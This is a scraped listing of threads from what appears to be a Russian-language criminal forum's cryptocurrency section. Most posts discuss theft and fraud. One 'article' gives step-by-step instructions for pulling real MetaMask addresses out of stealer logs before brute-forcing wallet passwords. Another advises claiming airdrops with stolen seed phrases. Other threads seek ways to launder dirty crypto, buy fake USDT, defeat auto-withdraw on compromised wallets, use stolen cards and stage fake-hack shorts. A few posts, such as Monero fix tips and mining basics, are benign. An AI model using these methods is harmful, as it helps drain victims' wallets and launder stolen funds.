Camelot - это децентрализованная биржа (DEX), которая позволяет пользователям обмениваться токенами и предоставлять ликвидность в сети Arbitrum.
Пользователи, предоставляющие ликвидность, получают токены LP, которые представляют собой их долю в пуле. Эти LP-токены могут быть размещены на Demeter - платформе для фарминга доходности, которая вознаграждает пользователей токенами SPA.
Однако некоторые LP-токены, например $xGRAIL, имеют специальную функцию, которая позволяет им выпускать новые токены в зависимости от количества токенов GRAIL в пуле. Этой функцией может злоупотреблять наш контракт, который создает фальшивые токены LP и обменивает их на настоящие, фактически похищая ликвидность из пула.
Это похоже на атаки флэш-кредитов.
Для предотвращения этого Camelot реализовала механизм защиты, ограничивающий количество токенов LP, которое может быть добыто за один блок. Однако этот механизм не является надежным и может быть обойден.
Вопрос: Как?
Отвечаю: Не скажу
Вопрос: Почему?
Отвечаю: Устал писать данную статью, ждём третью часть, задаём вопросы.

Если вдруг есть что-то что вы хотели бы обсудить лично, пишите, все контакты есть на форуме и ЛС везде открыт. Если вы хотите поработать над чем-то кооперативно - тоже самое. Если хотите просто познакомиться - тоже самое.
Я не против хороших связей и знакомств.

Скам смарт контрактов.
ID: 67686ad7b4103b69df37990d
Thread ID: 70848
Created: 2022-07-29T18:00:50+0000
Last Post: 2022-09-01T13:48:28+0000
Author: yekindrez
Replies: 9 Views: 606

Всем привет! Начал интересоваться скамом через смарт конракте, прочёл пару статей на этом и похожих форумах, но понятного мало. Ранее занимался скамом по юса и месяц работал сапом в крипто скам проекте, но технической частью вопроса никогда не занимался. Подскажите, какие изначальные знания нужно иметь, что бы хоть что то понимать в написанных статьях и в целом начать вливаться в тему. Заранее всем спасибо.

Где посмотреть пополнения/траты за определенное время в крипте?
ID: 67686ad7b4103b69df3796da
Thread ID: 121460
Created: 2024-08-26T09:08:46+0000
Last Post: 2024-09-01T14:20:12+0000
Author: TOPCHEK
Replies: 0 Views: 604

Какие есть эксплореры которые дают возможность посмотреть сколько было пополнений/трат на кошелек BTC/ERC-20/TRC-20 за день/неделю/месяц/год? Вообщем с тонко настраиваемыми фильтрами.

Надо по адресу узнать, доступа к ним не имею, поэтому импортировать не смогу в какие-нибудь кошельки.

Не предлагайте Arkham, Oraclus

Арбитраж крипты в 2023 - актуальные связки
ID: 67686ad7b4103b69df3798c5
Thread ID: 79341
Created: 2023-01-06T07:16:15+0000
Last Post: 2023-01-08T12:48:39+0000
Author: monkeytrader
Replies: 5 Views: 604

Друзья, вопрос для арбитражников, поделитесь какие сейчас самые актуальные международные связки (именно международные), какие страны гоняете?

И второй вопрос: посоветуйте дроповодных ботов в телеграмме (это для арбитража в рф уже), есть ли какие на примете?

Всех с праздниками и заранее спасибо!

Какие есть AML ?
ID: 67686ad7b4103b69df37989a
Thread ID: 82487
Created: 2023-02-21T18:28:25+0000
Last Post: 2023-02-23T20:40:26+0000
Author: top
Replies: 3 Views: 603

заметил, что разные AML check сервисы дают иногда совсем разные результаты
по каким AML работаете вы? какими пользуются сервисы, биржи и остальные? где проверять? )

ищу фейк usdt / looking for fake usdt
ID: 67686ad7b4103b69df3796dd
Thread ID: 121635
Created: 2024-08-28T16:25:35+0000
Last Post: 2024-08-30T11:10:50+0000
Author: toime
Replies: 1 Views: 603

сабж
Пишите сразу с предложениями в пм вместе с контактом

Looking for fake usdt, send me your offers in pm with ur contact

BLOCKCHAIN.COM - Проблема с транзакцией
ID: 67686ad7b4103b69df379696
Thread ID: 126593
Created: 2024-11-09T19:21:02+0000
Last Post: 2024-11-11T16:55:46+0000
Author: shutan
Replies: 6 Views: 600

Добрый вечер, может кто подскажет по такой ситуации
На кошельке BTC (blockchain.com) было 325$
Нужно было оплатить хостинг, жму оплатить перекидывает на платежку coinpayments.net, беру адрес кошелька для оплаты
перехожу в свой аккаунт blockchain.com и жму перевести, вставил адрес и указал сумму 0,00033 btc и жму перевести указав комиссию ускоренную (там копейки)
Смотрю баланс кошелька blockchain.com а там по нулям, перехожу по транзакции и вижу что с моего кошелька оно каким-то образом отправило на 2 кошелька (один который я указал, а второй левый какой-то), вот на этот левый оно отправило все деньги с кошелька за исключением суммы 0,00033 btc
Пользуюсь лет 5 этим blockchain.com и не разу такого не было, что это за х такая может кто знает? В тех поддержке молчат второй день

Как правильно определять адреса MetaMask кошельков с логов?
ID: 67686ad7b4103b69df379870
Thread ID: 85701
Created: 2023-04-11T18:09:46+0000
Last Post: 2023-04-11T18:09:46+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 597

Как правильно определять адреса MetaMask кошельков с логов, и исключать фейковые кошельки, а так же Ledger/Trezor перед тем как приступить к подбору пароля кошелька?

1 - Открываем в логе папку с файлами от MetaMask кошелька, обращаем внимание на наличие .ldb файлов (их отсутствие, практически 100% признак поддельного кошелька).
2 - Если .ldb файлы на месте, открываем любым текстовым редактором файл с расширением xxxxxx.log (вместо x, в названии файла будут цифры).
3 - Нажимаем Ctrl + F и через поиск находим в файле строку "identities ": и листаем вперед до строки "infuraBlocked ", все что находится между - адреса принадлежащие кошельку.
4 - Каждый адрес в кошельке подписан соответствующим именем, если увидели после адреса название "name ":"Ledger/Trezor " с этого адреса вы не сможете снять средства, без доступа к холодному кошельку холдера (некоторые сохраняют backup мнемонический фразы холодного кошелька на своей почте, имеет смысл поискать там).
5 - Далее, как правильно проверять является ли кошелек реальным, или в файлах .log и .ldb адреса были подменены на фейковые, это можно сделать в оффлайне.
6 - Устанавливаем расширение MetaMask в браузере Chrome, после этого закрываем браузер, если вы используете OС Windows, идем в директорию *C:\Users\Your User Name\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings* открываем последнюю по дате созданную папку, и закидываем в нее все файлы кошелька с лога кроме файла xxxxxx.log , после этого - открываем браузер, заходим в расширением MetaMask, ждем несколько секунд и закрываем браузер, далее у вас в папке браузера подгрузится реальный xxxxxx.log файл, содержащий реальные адреса этого кошелька, как их узнать

Большинство публичных скриптов для проверки баланса кошельков в логе, парсят адреса с CachedBalance что является ошибкой, часто туда попадают адреса с которыми владелец кошелька просто взаимодействовал, но не владеет ими.

Для проверки баланса ETH адреса можно воспользоваться сервисом https://debank.com/profile/тут адрес кошелька, либо любым другим на ваше усмотрение.

Статья была написана лично мной на основе собственного опыта работы с этими кошельками, за все время работы мне не встретилось не одного кошелька с которого бы мне не удалось снять средства после подбора пароля.

Всем спасибо!

автор hash_attack
источник exploit.in

$GRAM 10x?
ID: 67686ad7b4103b69df379797
Thread ID: 107495
Created: 2024-02-04T22:21:50+0000
Last Post: 2024-02-06T20:24:34+0000
Author: gustav66
Replies: 19 Views: 597

не финансовый совет, думайте своей головой

GRAM - токен на TON, сейчас его активно майнят. эта вся история закончится через +- 2 недели. тренд тон после ноткойна. можете почитать про нее, но разве от технологий (их там нет) зависит рост?)

я прикупил по 0.01 собираюсь закрыть сделку через 2 недели. если вырастет на 2х вывести тело инвестиций и оставить «бесплатные токены».

«вы в числе первых 5-7 тысяч холдеров проекта которому 5 дней. что такое 7 тысяч человек при активной аудитории телеграмма, только в РФ более 80 миллионов человек в месяц. Think about it.»

https://dedust.io/ свапал тут или выберете другую свапалку , тон выводил с биржи в тг.

всем мира🤝

PayPal to BTC где обменять?
ID: 67686ad7b4103b69df37998f
Thread ID: 63060
Created: 2022-02-16T13:28:34+0000
Last Post: 2022-03-10T16:25:48+0000
Author: treper
Replies: 12 Views: 597

Привет, прошу совета, где можно на белую бизнес палку купить BTC без селфи верификации? Документы есть, но именно селфи не вариант сделать. Нужно раз в неделю покупать на $500.

Скам акк
ID: 67686ad7b4103b69df379817
Thread ID: 93949
Created: 2023-07-25T15:55:40+0000
Last Post: 2023-08-03T06:37:18+0000
Author: akriosss47
Replies: 14 Views: 595

Здравствуйте знакомый попал на деньги(подробности не говорит) хочет купить с даркнета скам акк с реальными 20000$ за 5к,такое вообще возможно,может в связи с санкциями или какими-то запретами кто-то так продает?

Набор книг по крипте
ID: 67686ad7b4103b69df379967
Thread ID: 65241
Created: 2022-04-05T13:10:12+0000
Last Post: 2022-05-27T12:19:18+0000
Author: linear
Replies: 16 Views: 594

Привет, некоторые попросили дать свежую литературу по смарт-контрактам. Выкладываю

![dropmefiles.com](/proxy.php?image=https%3A%2F%2Fdropmefiles.com%2Fimages%2Fshare- logo_vk.png&hash=3f67b87028329be58fe8d4c73ccac7b9&return_error=1)

[ DropMeFiles – free one-click file sharing service

](https://dropmefiles.com/MBHfw)

Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.

dropmefiles.com dropmefiles.com

Сидки с забаненными балансами/автовыводом
ID: 67686ad7b4103b69df3798a3
Thread ID: 81599
Created: 2023-02-09T09:25:59+0000
Last Post: 2023-02-13T13:47:00+0000
Author: Эрвичан
Replies: 8 Views: 594

Буду благодарен,если скинете сидки где стоит автовывод или просто блок крипты

Mouse person and etc кроме этого

Обойти АВ Etherium
ID: 67686ad7b4103b69df3797e5
Thread ID: 97031
Created: 2023-09-01T00:40:51+0000
Last Post: 2023-09-18T22:36:56+0000
Author: BankRoll
Replies: 2 Views: 593

Нужно реализовать обход АВ в сети эфир. А если точней то провернуть 2 транзы в одном блоке по следующей схеме:
Имеется 3 кошелька
1. кош с которого шлем средства
2. кош на который поступают средства и перенаправляются на другой адрес. Именно этот кошелек с автовыводом!
3. кош получатель.
От всех трех естественно имеются приватки и заранее известны суммы перевода. Нужно как-то обе эти тразы послать в блокчейн одним блоком что бы обойти ав.
Иными словами перевести средства с одного кошелька на другой пропустив их через прокладку, доступ к этой прокладке может быть еще у кого-нибудь или же стоять ав и прочие приколы.
п.с гоняю копеечные суммы, не более пары десятков $ поэтому господа жулики не тратьте свое время

Кто может помочь в реализации - прошу в пм с ценой и контактом

Арбитраж криптовалюты
ID: 67686ad7b4103b69df37970e
Thread ID: 117892
Created: 2024-06-30T15:08:13+0000
Last Post: 2024-06-30T17:04:39+0000
Author: bitripper
Replies: 2 Views: 593

Арбитраж криптовалюты. Как относитесь к данной теме? Можно ли сегодня там заработать и стоит ли вообще туда лезть/учиться и усердно работать?

Trading/exchanges
ID: 67686ad7b4103b69df379899
Thread ID: 80700
Created: 2023-01-26T17:03:26+0000
Last Post: 2023-02-24T08:26:13+0000
Author: stgpp0r5
Replies: 3 Views: 593

There are too many hacks on cryptocurrency exchanges and they can not be trusted these days. Due to increasing heat on exchanges, what is the recommendation for trading or washing currencies now?

How to safely receive stolen money, or what wallet to use, thank you
ID: 67686ad7b4103b69df37978e
Thread ID: 106729
Created: 2024-01-26T13:19:30+0000
Last Post: 2024-02-15T02:19:04+0000
Author: ChinaOldBoy
Replies: 12 Views: 592

How to safely receive stolen money, or what wallet to use, thank you

Flash USDT /BTC
ID: 67686ad7b4103b69df3797f0
Thread ID: 97419
Created: 2023-09-06T08:40:45+0000
Last Post: 2023-09-06T11:05:32+0000
Author: adamolsky
Replies: 1 Views: 590

I need some who can flash USDT.
If someone is experienced and knows how it works, I am open to collaborating. At the same time, I want to know if anyone has used it and if it's real or if it's all a scam !
Thanks open to learn about it !

Flash USDT/BTC
ID: 67686ad7b4103b69df37987e
Thread ID: 84690
Created: 2023-03-28T13:27:09+0000
Last Post: 2023-03-29T16:46:25+0000
Author: devilcorp
Replies: 9 Views: 590

How to make fake usdt/btc transaction.?
is it possible or not.

Дропы , ништяки под Ваши сиды.
ID: 67686ad7b4103b69df3797e6
Thread ID: 95919
Created: 2023-08-17T17:53:25+0000
Last Post: 2023-09-18T21:11:48+0000
Author: Theriella
Replies: 1 Views: 589

Дроп от дроп от Connext.
Дроп = аирдроп, в наше время каждый знает уже что это такое, и порой можно с них урвать не мало профитов, особенно - если это приват сиды, пример прошлые дропов крупных SUI/ARB и т.п. некоторые снимали и по 50-100к$+.. Если кратко - аирдроп, Это некий вид рекламной компании проекта, за выполнения действий - юзер получает дроп, так вот в наших добытых сидах часто бывают абузеры, особенно в Китайских логах (однажды попала ферма , где было более 1к сидов фермы под дропы = до сих пор даёт профиты!).

Совет прост: не сливайте сиды в ботов скупов, держите у себя или только проверенным на чек давайте или под снятие дропов.

Потенциал будет хороший у дроп, Connext, https://airdrop.connext.network/claim/52 (можно проверить клейм, будет 5 сентября!)

Критерии под дроп для мамонтов были такие:
— Bridged via Connext.
— Bridged Volume.
— Liquidity Provision.
— Transaction Frequency and Longevity.
— Unique Chains.
— Bonus Points.

Можно софт на басе написать под проверку дропа, либо по контракту (тут уже сами думайте как делать).

+ на осень намечается два жирных дропа по ожиданию как арбитрум, Это zkSync , LayerZero.

**Советы:

Готовьтесь заранее , если это паблик сиды - то стоит свою ноду прикупить, и софт под клейм + подпись делать на свои валеты заранее, клеймить токены явно не через мету (ибо на дропе она подставит + комиссия будет конской - она везде будет такой, но если пару аков, то явно использовать другие валеты тот же траст воллет).

Информация для тех кто уже разбирается в теме, чтобы не упустили этот токен и пометили у себя, что стоит и его склеймить!

**
И один из запросов, которые многие сейчас проверяют на форумах, и пишут что это супер приват, хотя таким не является:
https://sideshift.ai/eth/btc (Стоит ваши сиды тоже проверить на данный сервис, бывает транза уходит туда . но сервисы не показывают если там что-то или нет).
Кто не проверял ни разу сиды на этот сервис, думаю найдёте хорошие цифры в сидах. (зависит от вашего привата!)

Форумы по крипте
ID: 67686ad7b4103b69df3797b2
Thread ID: 104839
Created: 2023-12-29T21:18:01+0000
Last Post: 2024-01-08T10:40:16+0000
Author: lisa99
Replies: 10 Views: 588

Интересно залистить здесь список форумов по криптовалютам. Хотелось чтобы сочетался и трейдинг и кодинг.
Из самых популярных (что все, наверное, знают)

Русскоязычные
https://ru.investing.com/ - комменты (социалка)

forum.bits.media

Биткоин форум

forum.bits.media forum.bits.media

https://bitalk.org/ - есть русский раздел, рега или платная или фейковая

Остальные
https://www.reddit.com/r/CryptoCurrency/ - социалка.

https://www.cryptocompare.com/forum/#/coin

The Bitcoin Forum Index

The Bitcoin Forum

forum.bitcoin.com forum.bitcoin.com

И туча убогих сообществ, где толкут воду в ступе, которых, видимо не стоит упоминать.

Давайте расширим список. Подкиньте, плз ссылочек...

Monero - Хардфорк
ID: 67686ad7b4103b69df379914
Thread ID: 72003
Created: 2022-08-20T18:17:41+0000
Last Post: 2022-08-24T06:11:20+0000
Author: VsemObmen
Replies: 15 Views: 587

Начнем с новостей:

Создатели анонимной криптовалюты Monero 13 августа провели очередной хардфорк сети, в результате которого был уменьшен размер блоков, а скорость и конфиденциальность транзакций выросли.
Теперь станет сложней определить, какой ключ использовался для создания подписи. Это еще больше снизит возможность отслеживания транзакции в сети Monero.

Хардфорк прошел на блоке 2 688 888, алгоритм был обновлен до Bulletproofs+

Также, сообщается, что обновление позволило улучшить функциональность мультиподписи и добавило критические исправления в систему безопасности Monero.

[Источник](https://www.getmonero.org/ru/2022/04/20/network-upgrade- july-2022.html)

А теперь к суровой реальности:

После хардфорка замечены вопросы на различных форумах по теме проблем с кошельком Monero.
Основные проблемы с которыми столкнулись пользователи - Долгая синхронизация, Бесконечная синхронизация, Неверное отображение баланса, Зависающие транзакции.

Все эти проблемы фиксятся довольно легко, главное не паниковать.

1. Зависшие транзакции
Транзакции зависли, не отравились, не пришли у тех, кто не обновил кошелек.
Как правило, кошелек сам выдает сообщение, что требуется обновление. Но если нет, то скачать обновленную версию можно тут.

2. Долгая или Бесконечная синхронизация.
Обычно бывает при использовании локального узла, т.е. блокчейн загружается на компьютер пользователя. Необходимо убедиться, что под блокчейн хватает места, ведь весит он весьма внушительно. Около 70Гб.
Одним из самых простых вариантов решения является подключение к удаленному узлу. Такое подключение менее безопасно, следует это учитывать.
Подробная [инструкция](https://www.getmonero.org/ru/resources/user- guides/remote_node_gui.html) по подключению к удаленному узлу размещена на сайте Monero

3.Неправильное отображение баланса.
Причина - неправильно указанная высота восстановления кошелька.
Высота восстановления - номер блока на котором был создан ваш кошелек.
Нет смысла сканировать весь блокчейн, до создания кошелька. Это никоим образом не отразится на вашем балансе, но ждать придется весьма долго.
Но вот указывать высоту восстановления больше высоты на момент создания чревато нарушением баланса и сбоями в работе кошелька.
Высоту восстановления следует записать также, как и мнемоническую фразу при создании кошелка, и хранить на случай необходимости восстановления.

Итак, все проблемы связанные с обновлением не такие уж и проблемы.
Главное - не паниковать)

Надеюсь эта статья поможет кому то решить проблему с кошельком.

Заблокировали аккаунт на Хуоби
ID: 67686ad7b4103b69df3796ef
Thread ID: 120615
Created: 2024-08-12T07:44:59+0000
Last Post: 2024-08-12T08:45:46+0000
Author: Sandro32
Replies: 7 Views: 587

Заблокировали аккаунт на бирже хуоби, без видимых причин суппорт не идет на контакт

TRUST WALLET
ID: 67686ad7b4103b69df379711
Thread ID: 117827
Created: 2024-06-29T12:43:55+0000
Last Post: 2024-06-29T17:59:05+0000
Author: HASTA
Replies: 1 Views: 586

I woke up this morning to find that**$2,500** of the money in my Trust Wallet account had been taken, then $600. Nobody knows the 12 words and the password.
The wallet is new. If brute force was used, why wasn't all the money taken?

Майнинг, или как добыть крипту 1.0
ID: 67686ad7b4103b69df37989d
Thread ID: 82457
Created: 2023-02-21T12:18:38+0000
Last Post: 2023-02-21T19:10:10+0000
Author: malloy05
Prefix: Статья
Replies: 2 Views: 586

Сегодня мы немного поговорим о майнинге. Как он работает, за что люди получают деньги и что можно майнить.

PoW​

Итак, начать стоит с того, что любой майнинг основан на алгоритме консенсуса Proof of Work (PoW в простонародии). В одной из наших статей мы уже говорили, что концепция PoW заключается в том, что майнеры должны решать сложную "математическую задачку ".
Этой математической задачкой является поиск хэша предыдущего блока.

Хеш — это результат от преобразования массива входных данных произвольной длины в битовую строку установленной длины.

Click to expand...

Для наглядности покажем как работает хеш-функция, начиная с первого блока:

  1. 5 BTC from "Lupa" to "Pupa" - CCEE3A4389C2A3059FAAB9CDBB7CEA3D
  2. CCEE3A4389C2A3059FAAB9CDBB7CEA3D "Lupa" lost 2 BTC - 55F07018F093C6A660322AD53860F272
  3. 55F07018F093C6A660322AD53860F272 3 BTC from "Pupa" to "Lupa" - 80AEF4F0CE8E06C0C64D5027B05D7675

Страшные цифры - это и есть наш хэш. Каждый блок содержит в себе хэш предыдущего блока + информацию о своем блоке.

А за что работать?​


Чем больше майнеров - тем надежнее сеть , тем она децентрализованнее и тем сложнее произвести на нее атаку.
Но как же привлечь достаточное число майнеров для стабильной и надежной работы сети?
Ответ прост - вознаграждать за предоставление мощностей их устройств.
Каждому майнеру, кто первый разгадает "математическую задачку " присуждается фиксированная награда в виде монет сети + комиссия за обработанные транзакции в полученном блоке.
Именно поэтому на майнинг есть такой спрос и идет такая гонка. И именно поэтому шанс, что вы что-то намайните с обычного ноутбука - близок к нулю. Скорее вы просто разоритесь на электроэнергии.

Биток или Эфир?​

Это чуть ли не первый вопрос, который возникнет у вас в голове, если вы соберетесь основательно взяться за майнинг. И тут главное понимать особенности той или иной криптовалюты:

BTC:

1. Время формирования нового блока = 10 мин
2. Награда за добычу блока = 6,25 BTC
3. Эмиссия ограничена в 21 млн BTC
4. Халвинг

Халвинг - последовательное уменьшение награды (количества добываемых монет) за найденный блок в блокчейне.

Click to expand...

Нужен он для того, чтобы регулировать предложение Биткоина на рынке.
С интервалом в каждые 210 000 добытых блоков (что составляет около 4 лет) количество BTC, выдаваемых за найденный блок уменьшается в 2 раза. И к моменту, когда награда будет около нуля, основной доход майнеры будут получать с комиссий за транзакции в сети. К тому моменту планируется, что будет добыто суммарно 21 000 000 биткоинов

История халвинга BTC
Интересный факт, что после каждого халвинга цена BTC достигала новых максимумов ($1163; $3122; $64863). Происходит это как раз из-за того, что добывать актив становится сложнее и создается дефицит на рынке.
5. Огромная конкуренция
К сожалению, намайнить биток на домашнем ПК у вас очень вряд ли получится (эфир тоже, но с битком шансы намного меньше). Тут придется либо раскошелиться на полноценную ферму с асиками , либо делить награду за добычу блока с майнинг пулом.

ASIC (асик) - особый компьютер, предназначенный исключительно для добычи определенной криптовалюты. Майнинг с помощью асиков намного эффективнее и выгоднее майнинга с помощью видеокарт.

Click to expand...

Mining Pool - сервер, который объединяет в себе мощности каждого пользователя, входящего в этот пул, для распределения задач между ними. Нужен он для более эффективного майнинга. Награда за майнинг распределяется пропорционально проценту от общей мощности в пуле.

Click to expand...

ETH:

1. Время формирования нового блока = 15 сек
2. Награда за добычу блока = 2,5 ETH
3. Эмиссия не ограничена
4. Готовится переход на PoS

Как только Ethereum перейдет на PoS майнить его просто напросто будет невозможно. Ходят слухи, что PoS должны уже запустить в сентябре. Но новость об абстрактном "скором " переходе гуляет по интернету уже несколько лет. Так что одному Виталику Бутерену известно когда же умрет майнинг ETH.

Others:​

Конечно мы не одним битком да эфиром богаты. Существует еще масса криптовалют доступных для майнинга.

Spoiler: Выгодная крипта для майнинга

1. ETHEREUM CLASSIC
2. RAVENCOIN
3. BITCOIN GOLD
4. BITCOIN
5. ETHEREUM
6. LITECOIN
7. MONERO
8. ZCASH
9. DOGECOIN
10. DASH

в кошелке заблокировали Usdt
ID: 67686ad7b4103b69df379808
Thread ID: 94505
Created: 2023-08-01T13:02:59+0000
Last Post: 2023-08-12T17:27:54+0000
Author: djonpah
Replies: 5 Views: 586

как вытащить деньги с кошелка кто знает

Совладелец фермы ретродропов ищу
ID: 67686ad7b4103b69df3797d6
Thread ID: 98758
Created: 2023-09-25T02:52:30+0000
Last Post: 2023-10-25T16:52:05+0000
Author: luckybins
Replies: 5 Views: 584

Наверное многие слышали о таком явлении в последнее время, если не слышали, напишите мне, я объясню, не будем здесь разводить флуд.
Свои финансы уперлись в потолок и пока ожидается дроп от Л0, время идет, а время как известно самый ценный мультипликатор в этом деле.
Поэтому я ищу инвестора/ко-фаундера для расширения фермы.
Инвестиция от 5eth - 10 wallets, 15eth - 50 wallets, 30eth - 100 wallets такой примерный порядок цифр, по прибыли расчитываю на x5-x20.
Профит 50-50, расходы покроем с профита в сторону инвестора. Сид фразы шарим между собой - возможность отслеживания расходов, еженедельны отчеты, все средства остаются на кошельках.
С моей стороны полное тех обеспечение фермы, прогрев, прокачка активностей руками и своим софтом. Делаю очень качественные аккаунты, не мусор.
Поскольку прогрев и создание хороших аккаунтов дело затратное и трудоемкое, ищу серьезного человека , которого интересует долгосрочное сотрудничество (минимум 1.5-2 года для старта).
Только люди с репутацией, чтобы год работы не превратился в ничто.
Я со своей стороны готов предоставить полную информацию - приватные ключи, доступы к машинам, статистике активности, расходов gas и все что нужно по запросу - полная прозрачность.
Мне нужна работа и больше аккаунтов - это моя цель, а не ваши деньги, сразу уточню ;)
Аккаунты будут работать на владельца очень долго!
Заинтересованных прошу в ПМ с контактом, токс или джаб

PS Идею и текст взял у чела с эксплойта. Хочу свою такую же ферму сделать.
Сам лично за этот год получал airdrop arbitrum на 2 кошелька(2700$), аирдроп akrham на 1 кошелек(1400$)
Все необходимые скрипты,софты и опыт для автоматизации процессов у меня есть.
Крипта это наверное единственное в чем я более менее разбираюсь.

Контакты

Telegram @yarabotyaga
Jabber основной yarabotyaga1@thesecure.biz
резервный yarabotyaga@xmpp.jp

Дамп щитка (#3) -как это работает?
ID: 67686ad7b4103b69df3796e9
Thread ID: 120972
Created: 2024-08-18T10:01:08+0000
Last Post: 2024-08-18T21:38:47+0000
Author: lisa99
Replies: 1 Views: 584

Может ли сработать такая схема:

1. По всему инету (реддиты, дискорды, етц) жалобы на то что кто-то сливает с нативного кошелька какой-то системы (у которой есть своя криптовалюта, токен) средства.
Версии - это разрабы, это корейцы, это взломан кошелек\чейн и тп.

2. Заранее готовятся "пруфы"

3. Заранее шортятся суммы, потихоньку - насколько это возможно, а потом явно

4. Профит.

Это так работает или нет?)
Если нет, то как ?

Как вывести usdt erc20 с кошелька Trust Wallet? Кто занет?
ID: 67686ad7b4103b69df37993d
Thread ID: 68480
Created: 2022-06-11T06:50:24+0000
Last Post: 2022-07-19T09:54:40+0000
Author: ParanoidChecker
Replies: 13 Views: 574

Всем привет, подскажите пожалуйста как можно вывести с кошелька Trust Wallet usdt erc20 или обменять на биткоин, знаю что это сеть эфира, только не пойму это получается идет смарт контракт, а как допустим вывести через обменник если все пишут что не принимают платежи со смарт контрактов. Реально ли вообще вытащить эти деньги если да то как? Добрые люди помогите пожалуйста.

crypto payment system
ID: 67686ad7b4103b69df379721
Thread ID: 113959
Created: 2024-05-06T09:27:56+0000
Last Post: 2024-06-04T14:01:39+0000
Author: donpalota
Replies: 6 Views: 574

Which crypto payment system do you think I should use for my service?
I saw Cryptomus, do you think it's good?

Как понизить AML у Битка?
ID: 67686ad7b4103b69df379876
Thread ID: 85167
Created: 2023-04-04T02:07:55+0000
Last Post: 2023-04-06T09:45:16+0000
Author: Tesla
Replies: 5 Views: 570

Есть мысли по этому сабжу?
П.С. миксер тут не помогает

Посоветуйте способ обелить крипту (AML)
ID: 67686ad7b4103b69df379973
Thread ID: 66018
Created: 2022-04-22T13:30:36+0000
Last Post: 2022-04-25T16:25:30+0000
Author: chillco
Replies: 11 Views: 569

Здравствуйте. Посоветуйте способ получить с грязной крипты (биткоин в моем случае) чистую по AML (меньше 30). Думал, с крипто обменника без KYC (по типу fixedfloat) получу биток с нормальным AML около 25, а получил 70 с дарк маркетом и миксером.

buy cryptocurrencies with a credit card
ID: 67686ad7b4103b69df37994c
Thread ID: 62808
Created: 2022-02-11T12:30:49+0000
Last Post: 2022-06-25T11:21:26+0000
Author: HASTA
Replies: 15 Views: 565

I want to buy crypto currency without authentication with credit card information. Waiting for your suggestions. Thanks.

Note (I can get 3d sms code.)

заработать по 50 евро
ID: 67686ad7b4103b69df3799de
Thread ID: 57363
Created: 2021-10-04T15:20:19+0000
Last Post: 2021-10-07T15:03:03+0000
Author: mebiusss
Replies: 8 Views: 564

привет если у вас есть верифицированный акк bit2me.com то мы можем получить по 50 евро у меня есть ваучер на 100 евро для этой конторы ... контакты в пм

Trust wallet проблема
ID: 67686ad7b4103b69df379786
Thread ID: 108526
Created: 2024-02-18T15:31:26+0000
Last Post: 2024-02-21T10:33:12+0000
Author: Benneton
Replies: 9 Views: 563

prnt.sc

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

кто нибудь встречался с таким при переводе на любой кошель вылазит такая ошибка
подскажите как решить и что делать

Guys any advices about hiding trace on blockchain ...?
ID: 67686ad7b4103b69df379835
Thread ID: 90039
Created: 2023-06-08T22:51:26+0000
Last Post: 2023-06-23T13:36:27+0000
Author: shelbey20
Replies: 8 Views: 563

can anyone give me guide to how laundering dirty BTC .. without btc mixer , I want to make it clean manually by me without any 3rd party .
I want to exchange it to usdt but im afraid to move it from other wallet .
any help guys ? and don't try to think about steal for me or something please stay away this topic for people who like to help may god help you in other things

Два хакера использовали уязвимость DNF и получили прибыль в размере почти 1 миллионов юаней
ID: 67686ad7b4103b69df37979d
Thread ID: 105359
Created: 2024-01-08T22:00:15+0000
Last Post: 2024-01-30T12:35:13+0000
Author: lisa99
Replies: 9 Views: 561

Два хакера использовали уязвимость DNF для копирования игрового реквизита и получили прибыль в размере почти 1 миллионов юаней.
С августа 2022 года подсудимый Тан воспользовался лазейками в личной программе рюкзака и склада онлайн-игры «Dungeon & Fighter», », управляемой Shenzhen Tencent Computer System Co., Ltd., и использовал сценарий, предоставленный ответчиком Цаем, для незаконного копирования восьми видов игрового реквизита, включая «противоречивые кристаллы», «искаженные размерные кристаллы» и «безупречные золотые бериллы», и поместил скопированный игровой реквизит на несколько складов игровой гильдии для продажи.
L29VhVNhHmgv9hHH224VGA.jpg

С августа 2022 года подсудимый Тан последовательно продавал незаконно полученный игровой реквизит Вану, Вану и Чжоу, получив прибыль в размере более 8,9163 млн юаней. Подсудимый Цай Моуму продал игровой реквизит, скопированный ответчиком Тан Моумоу, Ван Моумоу, получив прибыль в размере более 182 миллиона юаней

dnf- head.jpg

Будучи пионером глобальной 2D-файтинговой онлайн-игры с боковой прокруткой (MMOACT), Dungeons & Warriors: New Century стала важной вехой в истории глобальных онлайн-игр с инновационной концепцией и игровым процессом классической аркадной игры. Dungeons & Warriors: New Age обладает точным управлением и освежающим ощущением экшена, позволяя игрокам полностью вернуться к сути игры и насладиться радостью игры, а не результатом, что станет беспрецедентным прогрессом в области онлайн-игр!

Уважаемые пользователи,

Борьба с черной индустрией и обеспечение игрового опыта для всех игроков всегда было нашей самой важной миссией, и перед лицом цепочки черной индустрии, которая ставит под угрозу игровую среду, команда проекта постепенно накопила полный набор планов проверки и реагирования. В ответ на типичное и крупномасштабное поведение черной индустрии мы будем активно сотрудничать с полицией, чтобы пресекать улики, связанные с незаконными преступлениями. В то же время, исходя из судебного процесса, вы будете уведомлены в соответствующее время.

Среди дел, находящихся в судебном разбирательстве, упомянутых на встрече в Гуанчжоу, дело о складе гильдии в настоящее время завершило судебный процесс и перешло в стадию государственного обвинения. С разрешения соответствующая информация по этому делу синхронизируется следующим образом:

1. Во второй половине 2022 года, после того, как подозреваемый использовал соответствующую аномалию для копирования реквизита, мы проследили, чтобы на некоторых учетных записях в игре были аномальные транзакции с реквизитом и акции, а также провели мониторинг подозрительных учетных записей и как можно скорее отследили источник аномального реквизита.

2. После расследования мы установили улики аномальной гильдии соответствующей внешней команды черной промышленности, и после непрерывного сбора и сортировки доказательств, мы, наконец, сообщили и подали дело в Бюро общественной безопасности района Нанкин Сюаньву.

3. В процессе раскрытия дела полицией мы продолжаем активно предоставлять улики, оказывать содействие органам общественной безопасности в установлении фактов преступления и просить прокуратуру санкционировать арест соответствующих подозреваемых.

4. В связи с отвратительным характером дела, после того, как полиция завершит стадию расследования, они передадут соответствующие материалы в прокуратуру для обработки. Недавно прокуратура района Нанкин Сюаньву официально инициировала публичное обвинение.

